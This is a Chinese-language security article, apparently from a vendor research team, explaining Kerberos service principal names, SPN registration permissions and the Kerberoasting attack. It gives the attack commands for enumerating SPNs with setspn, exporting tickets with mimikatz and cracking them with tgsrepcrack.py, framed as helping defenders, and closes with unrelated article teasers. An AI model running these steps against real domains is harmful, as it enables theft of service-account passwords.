kerberos 身份驗證使用 spn 將服務例項與服務登入帳戶相關聯。在內網中,spn掃瞄通過查詢向域控伺服器執行服務發現,可以識別正在執行重要服務的主機,如終端,交換機等。spn的識別是kerberoasting攻擊的第一步。本文由錦行科技的安全研究團隊提供,旨在通過對spn進行介紹,幫助大家深入了解kerberoasting攻擊過程以應對該種攻擊。
spn
spn(serviceprincipal names)服務主體名稱,是服務例項(比如:http、smb、mysql等服務)的唯一識別符號。kerberos認證過程使用spn將服務例項與服務登入賬戶相關聯,如果想使用 kerberos 協議來認證服務,那麼必須正確配置spn。
spn分為兩種型別:
1.一種是註冊在活動目錄的機器帳戶(computers)下,當乙個服務的許可權為 local system 或 network service,則spn註冊在機器帳戶(computers)下。
2.一種是註冊在活動目錄的域使用者帳戶(users)下,當乙個服務的許可權為乙個域使用者,則spn註冊在域使用者帳戶(users)下。
sqlserver在每次啟動的時候,都會去嘗試用自己的啟動賬號註冊spn
在windows域裡,預設普通機器賬號有權註冊spn:
域:test.com
機器名:w10b
域機器賬號(system)
(手動註冊)成功註冊
普通域使用者賬號是沒有權註冊spn:
域:test.com
機器名:w10b
普通域使用者:test\fw
(手動註冊)許可權不夠
這就會導致這樣乙個現象,sql server如果使用「local system account」來啟動,kerberos就能夠成功,因為sql server這時可以在dc上註冊spn。如果用乙個普通域使用者來啟動,kerberos就不能成功,因為這時spn註冊不上去。
在dc上為域賬號賦予 「read serviceprincipalname」 和 「write serverprincipalname」 的許可權
勾上serverprincipalname的讀寫許可權:
再次使用普通域使用者註冊,成功註冊
kerberoasting攻擊發現spn
setspn -q */*
請求spn(powershell)
匯出票據
mimikatz # kerberos::list /export
破解票據
python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@mssqlsvc~sqlsrv.test.com~1433-test.com.kirbi"
如果得到的是乙個有權註冊spn的域賬號,也可以通過手動註冊的方式來進行kerberoasting攻擊。 域滲透 什麼是委派SPN
在微軟官網得到的答案如下 委派 delegation 身份驗證委派是允許服務模擬使用者帳戶或計算機帳戶以訪問整個網路中的資源的行為。當信任某項服務以進行委派時,該服務可以模擬使用者使用其他網路服務。管理員可以指定乙個帳戶可以委派給的服務主體名稱 spn 委派是域中的一種安全設定,可以允許某個機器上的...
域滲透之ldap協議
ldap light directory access protocal 是乙個基於x.500標準的輕量級目錄訪問協議,ldap是支援跨平台的internet協議,只需要通過ldap做簡單的配置就可以與伺服器做認證互動。可以大大降低開發的成本。windows active diretcory就是乙個...
電網滲透之終端安全
電力系統安全不僅關係到電網的穩定執行,也關係到國家能源安全和國計民生,甚至關係到國家的安全和利益,電力系統由於結構複雜多樣 分布廣泛 重要性高,一旦系統癱瘓影響巨大,因此,極容易成為敵對勢力攻擊的首選目標。隨著資訊保安暴露面迅速增加,將給公司網路安全防線帶來嚴峻挑戰。監控 保障這些電力系統安全執行變...